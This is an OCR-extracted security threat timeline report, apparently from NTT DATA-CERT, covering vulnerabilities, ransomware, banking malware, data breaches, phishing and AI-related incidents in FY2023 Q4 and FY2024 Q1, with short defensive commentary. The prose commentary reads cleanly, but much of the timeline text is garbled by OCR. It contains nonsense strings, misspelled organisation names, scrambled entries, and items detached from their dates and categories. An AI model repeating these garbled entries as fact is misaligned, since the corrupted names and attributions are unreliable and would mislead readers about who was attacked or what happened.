. e m Cencora | - 0
_AttaCK targetl[‘ag Cl'lltlcal m Golden Corral : [F nformation theft malware stole OpenAl authenticaion infrmation _ =1
1 1 R 15
infrastructure S pe e b S s : Attack targeting Al platforms™
[ RIPE. APNIC, AFRINIC, LACNIC thatthey and 230,000 people’s personal [

5 _
‘authentication information leaked on the dark web information wasstolen 1

[F] Data breach (overseas) : : :
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A0 O: Domestic 2 A Vulnerability <>#: Threat
A B ¢ @: |nternational/Overseas O m: Incident/Accident O ®: Countermeasure

Dec Jan Feb Mar Apr

[G] Other cyberattacks, etc. : :
OIPA B

1
L
1
I
Published 10 Major Threats to Published a handbook on “10 Major Threats to Information |
Information Security 2|024 Security 20247 :
I
1
1
1

* Some ofthe dates in the timeline are not the dates of the occurrence but of the report.

© Ministry of Economy, Trade and Industry
Published the guide and model provisions for information sharing on
cyberattacks

1
I
1
1
1
I
I
1
1 !
1 O “Credit Card Security Guidelines 5.0" was published

® German police

Seized “Crimemarket”, the biggest cybercrime marketplace in

the German-speaking world, and arrested one of the operators
1

I
1
1
1
1
1
! O LY Corporation !
| L i to the the Ministry of Intemal 1
['| NTT Marketing Act ProCX ! Affairs and C d 1
Unauthorized take out by a former di the Personal : :
L ini 1 id | 0 NTT, announced measures against data breach dueto intemal impropristies |
1 1 1
1 1 1
1 m Pepco Group 1
1 1 1
|| A third party scquires the domain used by Shimane Prefecture m Nabtesco Motion Control Inc. 1 1
1 1 |
1 I |
1 [ Adminisraive. guidarcs 1o NTT DOCOMO, st 1 W Deferms bieligence. of e Miristy of Defirss of Ukssine (GUR) 1
1 Apyrm. 596 il pecpie’s e e 1 Hacked e Ministy of Deferce of e Russian Federaion 1
1 -y 1 1
1 | |
1 O Yokosuka City +# Russia-related “APT29
oM DDoS attacks to TwitCasti 5 . 5 .
i sssne sto g Website browsing failure due to DDoS attacks Targeted German political parties using a new variant of "WINELOADER"
D I
> Personal i i issi finistrative gui 122 busil that have filed opt- |
out notifications — Also sold to “resellers” 1
! I

1

1

1

1

# Jamf Threat Labs i
! : ) ) # Iran-related APT group “MuddyWater"
Warning of pirated applications targeting Apple macOS users | Launched phishing attacks using embedded links in PDF files

1 1

<> Spam attacks in the WordPress plug-in “Contact Form 7" 1

1

[
1
1
# Chinarelated APT SRR 0
Hacked into the Ministry of Defense of T :
1
1
1

‘malware
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*1 Vulnerability in Ivanti VPN products

In the 4th Quarter of FY2023, Ivanti reported repeated vulnerabilities in Ivanti
Connect Secure and Ivanti Policy Secure. Cyberattacks targeting the vulnerability
in the said products occurred around the world and caused significant damage to
multiple systems using those products. In particular, the authentication bypass
(CVE-2023-46805) and command injection (CVE-2024-21887) vulnerabilities
disclosed on January 10, 2024 were zero-day vulnerabilities for which patches
had not been provided at the time of the disclosure of the vulnerability information.
Since the disclosure of the PoC code demonstrating this vulnerability on January
16 of the same year, there has been extensive attack damage. This vulnerability
drew public attention as the CISA issued an emergency directive for it. In fact, in
April 2024, MITRE announced that their systems suffered unauthorized access
by cyberattacks exploiting these two vulnerabilities.

*2 Damage from ransomware

Damage from ransomware still remains at a high level. Attacks by a variety of
ransomware groups were confirmed. In Japan, multiple cases of no-ware ransom
damage were reported. The number of damage cases by LockBit was still the

highest at 217, although it is decreasing due to the takedown by Operation Cronos.
To prevent damage from ransomware attacks, security measures should be taken.

In addition, the response method should be planned in advance in case of
damage.

*3 The customer authentication information of RIPE,
APNIC, AFRINIC, and LACNIC was leaked on the
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dark web

Resecurity discovered that the customer authentication information of the
Regional Internet Registry (RIR) that manages and assigns Internet address
resources by region, such as RIPE, APNIC, AFRINIC, and LACNIC, was leaked
on the dark web by InfoStealer. Data breaches due to cyberattacks targeting such
critical infrastructure may further develop into cyberattacks against ordinary
companies. It can lead to serious incidents such as service interruptions and
leakage of end-user information.

*4 Damage from attacks targeting the Al framework
“Ray” and OpenAl

There had also been cyberattack incidents targeting generative Al platforms.
Cyberattacks exploiting the vulnerability in the open source Al framework “Ray”
and leakage of authentication information, such as user IDs and passwords, to
access OpenAl by InfoStealer occurred. In particular, the number of cases of
leakage of the user authentication information to OpenAl sharply increased to
approximately 664,000 in 2023, from approximately 3,800 in 2021 and
approximately 20,000 in 2022. These days, Al models are connected to various
assets of companies such as databases, and breaches of Al infrastructure can
become serious incidents. In addition, leakage of user authentication information
may lead to leakage of personal/confidential information. Therefore, measures
such as periodic rotation of API keys and MFA settings are necessary.




8. Timeline FY2024 1Q

Ryotaro Tanaka,
NTTDATA-CERT, Information Security Office, NTT DATA Group

In the 1st Quarter of FY2024, there was no trend in frequent occurrences of
vulnerabilities in certain products, as was the case in the 4th Quarter of FY2023.
However, vulnerabilities were still reported for multiple products that had been

covered in the news for their vulnerabilities or cyberattacks,

* Some ofthe dates in the timeline are not the dates of the occurrence but of the report.

Mar

May

32

such as SolarWinds and MOVEit. As both of these products caused significant
damage in the past, it is advisable to check the vulnerability information and take
immediate action if the risk is significant.
In addition, in categories other than vulnerability, there had been more news
coverage of damage from banking malware and support frauds, cyberattacks
exploiting Al and countermeasures against it than in the timelines of the past
quarters. Al-related security incidents are expected to increase in the future.
Attention should be paid to them.

A0 O: Domestic
A B ¢ @ nternational/Overseas

June

/s & Vulnerability
CIm: Incident/Accident

>4 Threat
O @: Countermeasure

July

I A lvanti Avalanche £ CVE-2024-3661

Reported 27 vulnerabilities

1
£ CVE-2023-23300
Damage from webshell placement targeting Adobe ColdFusion

| Related article: “3. Need for checking
| the vulnerability information learned
| from the vulnerability in PAN-OS”

A CVE-2024-4040
Sandbox bypass vulnerability in CrushFTP
1

1

1 S command injection vulnerability in PAN-OS by Palo Alto Networks
I [Exploited in Operation MidnightEclipse
1
1

L e e e e e e e e e e e e e e e e e e e ]

A CVE-2024-1086 A CVE-2024-20358

Use After Free vulnerability in Linux kernel 0OS command injection vulnerability in Cisco ASA, FTD
1 1

A CVE-2024-3272 3273 (D-Link NAS credentlal and command injection)

[A] Vulnerabilities used -
- - __—_—_—_—_—_—_—_—_————_——_—_——_———————————n"
in attacks ! VPN .

VPN Encapsulation bypass vulnerability in DHCP option 121

———————I———————————————h————————————

1

1

1

! I Added to the CISA KEV catalog

1 1

: I : A CVE-2023-7028 (GitLab password reset feature)

: I CISA : Added to the CISA KEV catalog

: l Known Exploited : A CVE-2020-17519 (Apache Flink, access confrol)
1 Vulnerabilities 1 Added to the CISA KEV catalog

: I : A CVE-2024-26169 (Windows privilege escalation)
! Catalog I Added to the CISA KEV catalog

1

L___________I_______________-l'______________'l-__

A CVE-2024-24919 |
Gateway related vulnerability in Check Point Software Technologies

A CVE-2024-5806
Authentication bypass vulnerability in MOVEit
Transfer

A CVE-2024-4577

St ) 4 Google Pixel
RCE wulnerability in PHP for Windows

A CVE-2021-44832 Released patches for 50 vulnerabilities

Vulnerability in Apache Log4j2
Threatening the financial industry
A CVE-2024-28995
U Vulnerability in SolarWinds Serv-U Directory Traversal

A CVE-2024-4295
SQL injection vulnerability in WordPress Icegram Express

A CVE-2024-5276
SQL injection vulnerability in FileCalaIyst Workflow

| A CVE-2024-4577 (related to Windows PHP)

I CVE-2024-4610 (Arm Mali CPU Kernel Drive, rUse After Free)
! Added to the CISA KEV catalog
1
1
1

A CVE-2022-2586 (Linux kernel, privilege escalation) I

CVE-2020-13965 (Roundcube, XSS) I

CVE-2022-24816 (GeoSolutions GeoServer, code injection)

Added to the CISA KEV catalog I
1

1 1
1 A CVE-2017-3506 (Oracle WebLogic Server OS command injection)
: Added to the CISA KEV catalog
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* Some ofthe dates in the timeline are not the dates ofthe occurrence but of the report. iEKzg IEr)'ltt)eT::ttiiocnalvaerseas é: mfir:ieer:t?:ict:{:ident 8: -I(;rclnrt?:ttermeasure
May June July
1
i
Rustdoor
& ElEzig Addod backdoor to the JAVS Viewernstalle

1 .
| ® Proofpoint Japan i
| Identified the YouTube channel distributing Distributed malware that uses GitHub profile

1 1
1 1
1 1
1 1
1 I
1 1
1 malware 1 1 1
s — 1 - 1
®TANMT ': ] + BiBi Wiper R — # Spinning YARN I
New malware ‘Rhadamanthys” | ! New version that deletes the disk partition table : Cryptojacking targeting Docker AP !
Related article: “4. Exploitation of LLMs for | l |
cyberattacks and necessary countermeasures I O e e P Office |
learned from ‘Rhadamanthys’ — | Newly targeting “Apache Tomcat” . Pt :
| Secomeda anoxoiingescan | : |
1 1 1 [& Soowblind )

1 | 1 it chedking festure in
i # APT28[ GooseEgg) ' Android .
i Exploited CVE-2022-38028 (V Print Spooler, pri ' i
| - o e = e = e = = e e = e = = = = e = e = = = e e = = = = e = = = e = = |
! q * 1 1 1
! | Banking malware™ ! ! | !
1 I # Kaspersky 1 0|B|_u| _ . : * Zscaler I 1
: Reported “SoumniBot” exploiting the Android manifest : v g of banking Trojan "G Reported the distribution of the banking Trojan *Anatsa” via Google Play :
1 1 1 | 1
1 1

- O I I I I DN EEE EEE EEE EEE EEE DN BEE BN BN B DEE EEE EEE EEE EEE BEE BEE EEE B EEn EEn NN B Ba BEn BEn Ban Bam Eae Eae Eae e e

[D] Ransomware X X

1
1
4+ Sophos ) # LockBit Black # Kasparsky !
Warning of crude ransomware targeting small- and mediul - . o -
sized companies and individuals s N Spread using the Phorpiex botnet Confirmed the ransomware “ShrinkLocker” exploiting BitLocker :
! 1
1 B |
1 4 Brain Cipher
! New ransomware, attacked Indonesian DC
4 CISA etc.  Black :
1

4 Black Basta
Exploited the Windows vulnerability CVE-2024-26169 (privilege escalation)

= Lockbit :
Hacked into the FRB. leaked
confidential data

1

1

1

1

1

1

1

1

1 N W "

I Warning of "Akira_v2" targeting ViMware ESXi Exploited the Windows Quick Assist feature
1

1

1

1

1

1

1

1

1

1 1

* Actual damage cases are described in [E],! [F]
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A0 0O: Domestic 2\ A: Vulnerability > #: Threat
A B ¢ @ nternational/Overseas [Im: Incident/Accident O @: Countermeasure

Mar Apr May June July

[E] Unauthorized access

* Some of the dates in the timeline are not the dates of the occurrence but of the report.

1 O Gintoki website
('] Tully's Coffee Japan Co., Lid

— — e o o Em o EE O Em O Em o Em Em Em Em Em Em

(] Chiba Universi Sirasma
m Jackson County, Missouri m City of Wichita. Kansas - FD“"'"

1

1

1

® CiscoDuo = Dropbox m City of Halsinki m Firstmac Limited ® Hugging Face ® Crown Equipment :

|| GFC Design Inc. 1
. m Synlab Italia WA ecaneon 7 Meggms Lol Proskcss. Framasered = Snowflake = Life360 1

o W O MarineNet Co., Ltd. : 1
f u MITRE = RIZAP Gi !

- Ocharlmmizu University BT — Reported damsge from lvanti \n'PM-!EIaiE:IatL:;«h in Janusry 2 Contec SolarView Compact Lumw‘!w — : roup 1 Trecas Ca. Lid [ Hara Prefeckrs :
E— . ) \O DIP Baitoru — 1
o O Tokyo Expressway O Solare Hotels and Resorts Co., Ltd. O Game Market 1 e 1

f | D DMM.com T —— 1

[ G P 1 Tekawe Belert. Gerp: O Kosaido Holdings Co. Ltd. subsidiary 1 Taipa R 0 —_ it e suBsisy !

: D"F’;"‘“ e 1 The Savin Godo Barik, Lad. e :

| O HOYA Corporation O Mesirage & G, Lt 7 ek Proskuce Diroct Dfivery Covier 1 O M . T Mie Center For the Arts i

0 ('] Bilcom Inc. = Workport, Inc. 1

0 1

1

1

1

1

-

Ell_n*rdhd.mn Teareport ard o

® Omni Hotels & Resorts

1
1

Seviamcsd S rrmmwere demage i Fetrury I
1 - O B N EEE I DN MEE EEE NN EEE EEE DN D DEE DaE DEE EEE EaE Eae e e e
|

r
|
|
|

1 w Keytronic I ch 1 " . | I
- e 1 Endiess Corporaie 1 Miyazsodenshikiki Ca., L . | Daicel rou
Moy Parkrmarcs Srbsion Corter Egm"’“:i"" - ﬂIS e p :
Dugﬁiz‘lm for Smail & Medium Erterprises : I I m ABN AMRO ™ Hospital in Lendan : I
ad Regional brnavaion X e ; ! I
— — e e o o o o o o O e e o —-— o = = Carporation -
-! !_ Damage from I ot : O Takano Sogo Group || Oiles Corporation O Komaihaltec Inc. :
g0 o= 0 0o = i I i i I
Crep— Support fraud2 I . ransomware i 0
| ' — I Related article: “2. Ever-increasing ransomware threat” = 7 Kyt Bockic Paner Gran O KADOKAWA : I
[ Jpen) Orgrizsion for Emplcymest. of e Eldrly, Persre with .
1 Disabslifies and Job Seckers. 1 N 1 1 .
1 - T T
I Yaizu City ['] Kubata Credit Co., Lid. ® Frontier Communications 1 I
—_— el o . o o o o . — e e o e o o o o o O O o O o e e e e e e s e

I
1 1
O Nagomi ! !
0 Reikos Uriversity O Bandai Namco Group ® U.K Ministry of Defense, third-party payroll system 1 1
1 1 1
! O WorkStyleTech We\comtleHR = Dell e : :
|| Jspen Bodybuilding & Fitness Federation | 1 1
1 1 L Biophilia inc. (pet-related business) [ Garir Besniy kckasky Ca Lid 1 f
03 Personal Information Frotection Commission 1 1 1
Issued admi ive gui 1o LY Ci 1 1 1
regarding "LINE" dats breach | 1 1
7 | 1 Mastsai Stnzo Ao Urdienited [l Mext Level Co., Ltd. | 1

pra——

1 1 1 1
: O NICT [ e Ca. Ll : :

[F] Data breach
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* Some of the dates in the timeline are not the dates of the occurrence but of the report.

Mar

Apr

May

A OO Domestic
A B ¢ @ nternational/Overseas

35

2 & Vulnerability
[0 m: Incident/Accident

> #: Threat
)@ Countermeasure

June July

[B] Email/SMS

O Council of Anti-Phishing Japan

1 AHtacked multiple defenserelsted companiss in Targeted by Russian military
| South Korea haders

1 1

\ .

4+ CorslRaider
Distributed malwars by exploiting CON cache

+ New password reset attacks targeting Apple devices

# FBI

! 1
L L
! 1
! 1
: > Pesing as Tokyo Gas. l| < Posing as AEON card :F-EE_FI:_: _ s Revised the “Anti-Phishing Guidelines” :
! i teachers in North America !
| 1 i > GLAY fake Ii 0
1 1 1 1
1 1 | 1
1 1 <+ Phizhing repart in May, incresse of 348% fam the previouws meor 1
1 1 I 1
1 1 | |
1 T 1 1
1 I I
[G] Other cyberattacks, etc. X !
® North Korsaselated APT group ® GovemmentafPaland A NICT B
JPCERTICC

Warning of bot infections in Buffalo routers

Warning of the attack campaign “Blotles"targeting Japen
1

4 Fake T support site for Windows errors

1
1
# Cisco Talos
Warning of brute-force attacks against VPN senvices

+ first native Spectre v2 exploit
New attack method against Intel CPUs

-_—ee o o o O o O O O O e EE EE EE A I EE EE T EE EE EE e O Ee e Ee e =

1
1

1 1
1 |
| 4 Microsoft

: Warning of email theft by Midnight Bizzaﬂ_
1

® FBI

O Japan Network Security Association (JNSA)
Published the Factory Security Handbook

O 1IPA
Published “10 Major Threats to Information Security 20247

O NTT Security Japan
Started praviding network detection packages for small-and medium-
sized companies

O Mirizry of iterrd Afisrs and Communicafions.
Gave sdmivisraive guideres LY Corpraion
agin

O . B S S B S B B B B S B B B B B B B S B B S B B B B B B | B S B B B B B B B B e e e .

1
— - o o o o O O O e e e . . 1
[ 1 1

* Bitdefender © Cloudflare Japan
I Widespread use offake Facebook pages impersanating Al : Wemi wper DDGS attacks I :
I services i withigenerstve Al : O NTT-AT 1
' ! Provided senvices to reduce the security operation load by Al !
® U.S Government, etc. 1 1
I for the zafe machine leaming-based Al systems 1 I 1
' 1
Al l ds 1 ® Google Security Oparstions o IRA o - I !
-relate i e o o reat Published “Al Risks and Threats” i
Related article: “5. Study on Al-based security threats and risks” : discovery to detection : I :
L- !
1

Took down BreachForums

® U.S_Department of Commerce
® Goole Prohibited Kaspersky software

|
|
|
1 method using the: AP 1
I
|

@ FINS members were prosecuted

) Ministry of Internal Affairs and Communications

I
- ’ —— I
O Ministry of Internal Affairs and Communications ! |
Requested SNS providers to strengthen response to false .

I

Renewed the “Cyber Security Site for Gitizens”
1

sdvertising
! O 1PA

Implemented chatbat in “Worry-Free Informstion Secuity Consultation
Senice”

1 1

O 1S0G-J
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*1 Banking malware

The topics on banking malware that steals personal/authentication information
by targeting Internet banking users are increasing when compared to the past.
Each of the three types of malware listed in [C] Malware of the timeline, namely
Grandoreiro, Anatsa, and SoumniBot, targets banks and their online applications
around the world. The methods of distributing malware are becoming increasingly
sophisticated. For instance, in the case of Anatsa, the malware distribution
function is secretly implemented in decoy applications such as "PDF Reader &
File Manager’ and “QR Reader & File Manager’. For such malware, early
detection and prevention of execution by utilizing security software are of course

important, but downloading decoy applications should be avoided in the first place.

When downloading applications, it must be ensured that the developer is
trustworthy and they are released in legitimate markets.

*2 Support fraud

Damage from support frauds is increasing. The cases listed in this timeline are
only a tiny portion. According to the IPA, the number of support fraud consultation
cases in April 2024 was a record high at 828 [65]. The increased damage is related
to the advancement of support fraud methods. In recent years, the search results
of search services may contain advertisements that look exactly like those of real
brands. Clicking them will display fake warnings and more and more victims are
being deceived by them. Even if companies have security software installed, fake
warnings of support frauds cannot be stopped. In addition, as in the cases of
Osaka Pref. Saiseikai Tondabayashi Hospital and the Japan Organization for
Employment of the Elderly, Persons with Disabilities and Job Seekers listed in this
timeline, damage may originate from personal PCs. Therefore, such cases should
be dealt with by disseminating and giving alerts on the existence of fake warnings,
and ensuring that each user has the appropriate knowledge to avoid being
deceived.
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*3 Al-related

With the development of Al technologies, Al has been introduced into a variety
of fields and the field of security is no exception. In the 1st Quarter of FY2024,
there were more Al technology-related topics than in the past. In addition to
phishing emails and voice fraud cases in which Al technologies are often exploited,
various cyberattacks exploiting Al technologies have emerged, including creation
of DDoS malware. It is expected that attackers will continue to exploit Al
technologies in a variety of ways. On the other hand, there were also new reports
of the presentation of the guidelines for Al technology security by the
administrative agency and the provision of new security services/functions using
Al technologies by companies. Security measures using Al technologies are also
steadily increasing. Al technology-related security incidents are expected to
continue to increase in the future. Attention should be paid to them.
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